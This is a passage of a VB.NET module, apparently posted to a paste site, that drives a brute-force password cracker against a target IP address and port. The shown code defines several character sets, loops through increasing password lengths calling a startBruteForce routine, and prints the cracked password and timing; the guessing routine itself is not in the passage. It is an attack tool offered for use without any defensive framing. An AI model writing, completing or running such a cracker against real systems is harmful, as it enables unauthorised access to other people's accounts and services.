  614.                 "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
  615.                 "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
  616.                 "9"c, "0"c}
  617.             'start bruter
  618.            Dim timeStarted = DateTime.Now
  619.             Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  620.  
  621.             charactersToTestLength = charactersToTest.Length
  622.  
  623.             Dim estimatedPasswordLength = count - 1
  624.  
  625.             While Not isMatched
  626.                 estimatedPasswordLength += 1
  627.                 startBruteForce(estimatedPasswordLength, ip, port, charset)
  628.             End While
  629.  
  630.             Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  631.             Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  632.             Console.WriteLine("Resolved password: {0}", result)
  633.             Console.WriteLine("Computed keys: {0}", computedKeys)
  634.             Console.ReadLine()
  635.         End If
  636.         If charset = 6 Then
  637.             'letters&special
  638.            Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  639.                 "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  640.                 "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  641.                 "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  642.                 "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  643.                 "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  644.                 "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  645.                 "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  646.                 "W"c, "X"c, "Y"c, "Z"c, "!"c, "$"c, _
  647.                 "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
  648.                 "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
  649.                 "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
  650.                 ">"c, ","c, "."c, "("c, ")"c, "_"c, _
  651.                 "-"c, "+"c, "="c, "\"c}
  652.             'start bruter
  653.            Dim timeStarted = DateTime.Now
  654.             Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  655.  
  656.             charactersToTestLength = charactersToTest.Length
  657.  
  658.             Dim estimatedPasswordLength = count - 1
  659.  
  660.             While Not isMatched
  661.                 estimatedPasswordLength += 1
  662.                 startBruteForce(estimatedPasswordLength, ip, port, charset)
  663.             End While
  664.  
  665.             Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  666.             Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  667.             Console.WriteLine("Resolved password: {0}", result)
  668.             Console.WriteLine("Computed keys: {0}", computedKeys)
  669.             Console.ReadLine()
  670.         End If
  671.         If charset = 7 Then
  672.             'numbers&special
  673.            Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
  674.                 "7"c, "8"c, "9"c, "0"c, "!"c, "$"c, _
  675.                 "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
  676.                 "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
  677.                 "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
  678.                 ">"c, ","c, "."c, "("c, ")"c, "_"c, _
  679.                 "-"c, "+"c, "="c, "\"c}
  680.             'start bruter
  681.            Dim timeStarted = DateTime.Now
  682.             Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  683.  
  684.             charactersToTestLength = charactersToTest.Length
  685.  
  686.             Dim estimatedPasswordLength = count - 1
  687.  
  688.             While Not isMatched
  689.                 estimatedPasswordLength += 1
  690.                 startBruteForce(estimatedPasswordLength, ip, port, charset)
  691.             End While
  692.  
  693.             Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  694.             Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  695.             Console.WriteLine("Resolved password: {0}", result)
  696.             Console.WriteLine("Computed keys: {0}", computedKeys)
  697.             Console.ReadLine()
  698.         End If
  699.     End Sub
  700.  
  701. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement